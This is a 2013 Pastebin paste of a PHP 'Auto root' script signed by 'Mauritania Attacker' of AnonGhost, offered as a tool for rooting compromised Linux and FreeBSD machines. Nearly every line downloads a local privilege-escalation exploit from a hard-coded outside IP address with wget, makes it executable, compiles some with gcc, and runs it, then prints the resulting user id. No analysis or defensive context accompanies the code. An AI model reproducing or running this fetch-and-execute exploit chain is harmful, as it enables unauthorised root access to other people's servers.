Juno_okyo

Auto root 2013

Mar 2nd, 2013
761
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.78 KB | None | 0 0
  1.  #!/usr/bin/php
  2. <?php
  3. /*
  4. # Auto root 2013 Developped by Mauritania Attacker
  5. # www.mauritania-sec.com
  6. # https://www.facebook.com/mauritanie.forever
  7. # <3 AnonGhost <3
  8. */
  9. set_time_limit(0);
  10. system("clear");
  11. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  12. print "|PHP Auto Root by Mauritania Attacker               |\n";
  13. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  14. print "|Contact: fb.com/mauritanie.forever                 |\n";
  15. print "|Priv8 Version                                      |\n";
  16. print "|Rooting: Linux and FreeBSD                         |\n";
  17. print "|<3 AnonGhost <3                                    |\n";
  18. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  19. sleep(4);
  20. print "\nKernel to verify:\n";
  21. print "lnx or bsd: ";
  22. $kernel = fgets(STDIN);
  23. $kernel = trim($kernel);
  24. if($kernel == "lnx")
  25. {
  26. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  27. print "|PHP Auto Root by Mauritania Attacker             |\n";
  28. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  29. print "|Selected kernel : |Linux arq|                    |\n";
  30. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n";
  31. sleep(2);
  32. print "\n[+] Testing lnx xpl's please wait.\n";
  33. print "[~] Meanwhile smoke a cigaret XD (:\n";
  34. sleep(2);
  35. system("mkdir lnx;cd lnx/");
  36.  
  37. system("wget http://184.22.219.50/xpl/2.6.3all");
  38. system("chmod 777 2.6.3all");
  39. system("./2.6.3all");
  40. sleep(1);
  41. system("wget http://184.22.219.50/xpl/2.6.17");
  42. system("chmod 777 2.6.17");
  43. system("./2.6.17");
  44. sleep(1);
  45. system("wget http://184.22.219.50/xpl/2.6.18");
  46. system("chmod 777 2.6.18");
  47. system("./2.6.18");
  48. sleep(1);
  49. system("wget http://184.22.219.50/xpl/2.6.18-6");
  50. system("chmod 777 2.6.18-6");
  51. system("./2.6.18-6");
  52. sleep(1);
  53. system("wget http://184.22.219.50/xpl/2.6.18-20");
  54. system("chmod 777 2.6.18-20");
  55. system("./2.6.18-20");
  56. sleep(1);
  57. system("wget http://184.22.219.50/xpl/2.6.32");
  58. system("chmod 777 2.6.32");
  59. system("./2.6.32");
  60. sleep(1);
  61. system("wget http://184.22.219.50/xpl/2.6.32_i686");
  62. system("chmod 777 2.6.32_i686");
  63. system("./2.6.32_i686");
  64. sleep(1);
  65. system("wget http://184.22.219.50/xpl/2.6.32nine");
  66. system("chmod 777 2.6.32nine");
  67. system("./2.6.32nine");
  68. sleep(1);
  69. system("wget http://184.22.219.50/xpl/2.6.33");
  70. system("chmod 777 2.6.33");
  71. system("./2.6.33");
  72. sleep(1);
  73. system("wget http://184.22.219.50/xpl/2.6.34");
  74. system("chmod 777 2.6.34");
  75. system("./2.6.34");
  76. sleep(1);
  77. system("wget http://184.22.219.50/xpl/2.6.34-2011");
  78. system("chmod 777 2.6.34-2011");
  79. system("./2.6.34-2011");
  80. sleep(1);
  81. system("wget http://184.22.219.50/xpl/2.6.37");
  82. system("chmod 777 2.6.37");
  83. system("./2.6.37");
  84. sleep(1);
  85. system("wget http://184.22.219.50/xpl/2.6.37rc2");
  86. system("chmod 777 2.6.37rc2");
  87. system("./2.6.37rc2");
  88. sleep(1);
  89. system("wget http://184.22.219.50/xpl/2.6.37-rc2");
  90. system("chmod 777 2.6.37-rc2");
  91. system("./2.6.37-rc2");
  92. sleep(1);
  93. system("wget http://184.22.219.50/xpl/2.6.39-2011");
  94. system("chmod 777 2.6.39-2011");
  95. system("./2.6.39-2011");
  96. sleep(1);
  97. system("wget http://184.22.219.50/xpl/2.6.39-2011-2012");
  98. system("chmod 777 2.6.39-2011-2012");
  99. system("./2.6.39-2011-2012");
  100. sleep(1);
  101. system("wget http://184.22.219.50/xpl/2.6.x");
  102. system("chmod 777 2.6.x");
  103. system("./2.6.x");
  104. sleep(1);
  105. system("wget http://184.22.219.50/xpl/15");
  106. system("chmod 777 15");
  107. system("./15");
  108. sleep(1);
  109. system("wget http://184.22.219.50/xpl/2010-1");
  110. system("chmod 777 2010-1");
  111. system("./2010-1");
  112. sleep(1);
  113. system("wget http://184.22.219.50/xpl/ab");
  114. system("chmod 777 ab");
  115. system("./ab");
  116. sleep(1);
  117. system("wget http://184.22.219.50/xpl/c");
  118. system("chmod 777 c");
  119. system("./c");
  120. sleep(1);
  121. system("wget http://184.22.219.50/xpl/el5i386");
  122. system("chmod 777 el5i386");
  123. system("./el5i386");
  124. sleep(1);
  125. system("wget http://184.22.219.50/xpl/el5x86");
  126. system("chmod 777 el5x86");
  127. system("./el5x86");
  128. sleep(1);
  129. system("wget http://184.22.219.50/xpl/elflbl");
  130. system("chmod 777 elflbl");
  131. system("./elflbl");
  132. sleep(1);
  133. system("wget http://184.22.219.50/xpl/exp1");
  134. system("chmod 777 exp1");
  135. system("./exp1");
  136. sleep(1);
  137. system("wget http://184.22.219.50/xpl/exp2");
  138. system("chmod 777 exp2");
  139. system("./exp2");
  140. sleep(1);
  141. system("wget http://184.22.219.50/xpl/exp3");
  142. system("chmod 777 exp3");
  143. system("./exp3");
  144. sleep(1);
  145. system("wget http://184.22.219.50/xpl/exploit");
  146. system("chmod 777 exploit");
  147. system("./exploit");
  148. sleep(1);
  149. system("wget http://184.22.219.50/xpl/exploit2");
  150. system("chmod 777 exploit2");
  151. system("./exploit2");
  152. sleep(1);
  153. system("wget http://184.22.219.50/xpl/froot");
  154. system("chmod 777 froot");
  155. system("./froot");
  156. sleep(1);
  157. system("wget http://184.22.219.50/xpl/glibc");
  158. system("chmod 777 glibc");
  159. system("./glibc");
  160. sleep(1);
  161. system("wget http://184.22.219.50/xpl/iskorpitx");
  162. system("chmod 777 iskorpitx");
  163. system("./iskorpitx");
  164. sleep(1);
  165. system("wget http://184.22.219.50/xpl/jessica2");
  166. system("chmod 777 jessica2");
  167. system("./jessica2");
  168. sleep(1);
  169. system("wget http://184.22.219.50/xpl/pkexec");
  170. system("chmod 777 pkexec");
  171. system("./pkexec");
  172. sleep(1);
  173. system("wget http://184.22.219.50/xpl/rds-exploit");
  174. system("chmod 777 rds-exploit");
  175. system("./rds-exploit");
  176. sleep(1);
  177. system("wget http://184.22.219.50/xpl/vmsplice");
  178. system("chmod 777 vmsplice");
  179. system("./vmsplice");
  180. sleep(1);
  181. system("wget http://184.22.219.50/xpl/xplSUPER");
  182. system("chmod 777 xplSUPER");
  183. system("./xplSUPER");
  184. sleep(1);
  185. print("[+] all lnx xpl's testeds! exiting!\n");
  186. system("id");
  187. exit(0);
  188. }
  189. elseif($kernel == "bsd")
  190. {
  191. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n";
  192. print "|PHP Auto Root by Mauritania Attacker           |\n";
  193. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n";
  194. print "|Selected kernel : |BSD-arq|                    |\n";
  195. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n";
  196. sleep(2);
  197. print "\n[+] Testing bsd xpl's please wait.\n";
  198. print "[~] Meanwhile smoke a cigaret XD (:\n";
  199. sleep(2);
  200. system("mkdir BSD;cd bsd/");
  201.  
  202. system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c");
  203. system("gcc -o 6.1-09 6.1-09.c -lpthread");
  204. system("chmod 777 6.1-09");
  205. system("./6.1-09");
  206. sleep(1);
  207. system("wget http://184.22.219.50/xpl/FreeBSD/6.4");
  208. system("chmod 777 6.4");
  209. system("./6.4");
  210. sleep(1);
  211. system("wget http://184.22.219.50/xpl/FreeBSD/7.1-08.c");
  212. system("gcc -o 7.1-08 7.1-08.c ");
  213. system("chmod 777 7.1-08");
  214. system("./7.1-08");
  215. sleep(1);
  216. system("wget http://184.22.219.50/xpl/FreeBSD/2010");
  217. system("chmod 777 2010");
  218. system("./2010");
  219. sleep(1);
  220. system("wget http://184.22.219.50/xpl/FreeBSD/a.out");
  221. system("chmod 777 a.out");
  222. system("./a.out");
  223. sleep(1);
  224. system("wget http://184.22.219.50/xpl/FreeBSD/cebkmount");
  225. system("chmod 777 cebkmount");
  226. system("./cebkmount");
  227. sleep(1);
  228. system("wget http://184.22.219.50/xpl/FreeBSD/cve-2010-2693");
  229. system("chmod 777 cve-2010-2693");
  230. system("./cve-2010-2693");
  231. sleep(1);
  232. system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c");
  233. system("gcc -o 6.1-09 6.1-09.c -lpthread");
  234. system("chmod 777 6.1-09");
  235. system("./6.1-09");
  236. sleep(1);
  237. system("wget http://184.22.219.50/xpl/FreeBSD/free7.sh");
  238. system("chmod 777 free7.sh");
  239. system("./free7.sh");
  240. sleep(1);
  241. system("wget http://184.22.219.50/xpl/FreeBSD/l");
  242. system("chmod 777 l");
  243. system("./l");
  244. sleep(1);
  245. system("wget http://184.22.219.50/xpl/FreeBSD/master");
  246. system("chmod 777 master");
  247. system("./master");
  248. sleep(1);
  249. system("wget http://184.22.219.50/xpl/FreeBSD/w00t.so.1.0");
  250. system("chmod 777 w00t.so.1.0");
  251. system("./w00t.so.1.0");
  252. exit(0);
  253. }
  254.  
  255. //EOF_
  256. //2013
  257. //Priv8 Version  
  258.  
  259. ?>
Add Comment
Please, Sign In to add comment